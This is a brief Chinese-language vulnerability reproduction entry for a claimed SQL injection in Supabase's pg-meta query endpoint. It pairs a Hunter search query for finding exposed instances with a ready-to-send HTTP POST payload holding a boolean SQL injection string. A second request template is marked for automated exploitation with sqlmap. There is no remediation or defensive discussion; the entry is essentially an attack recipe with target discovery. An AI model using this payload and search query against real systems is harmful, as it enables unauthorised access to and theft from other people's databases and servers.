S8-1Supabase-SQL

漏洞描述:

Supabase是一个开源的Firebase替代品,提供了一系列的后端功能,让你可以更快地构建产品。它使用PostgreSQL作为数据库,支持SQL和RESTful API 访问。此外,Supabase提供了完整的认证系统,支持邮箱、手机号、第三方服务等多种登录方式。Supabase 存在SQL注入漏洞,攻击者可通过该漏洞 获取数据库敏感信息甚至可获得服务器权限。

网络测绘:

Hunter 语法:

• hunterapp.name="Supabase"

漏洞复现:

payload:

POST /api/pg-meta/default/query HTTP/1.1

Host: xx.xx.xx

Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 103

{"query":"(SELECT CONCAT(CONCAT('qjpzq',(CASE WHEN (2016=2016) THEN '1' ELSE '0' END)),'qkbbq'))"}

效果图:

sqlmap

POST /api/pg-meta/default/query HTTP/1.1

Host: xx.xx.xx

Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 103

{"query":"*"}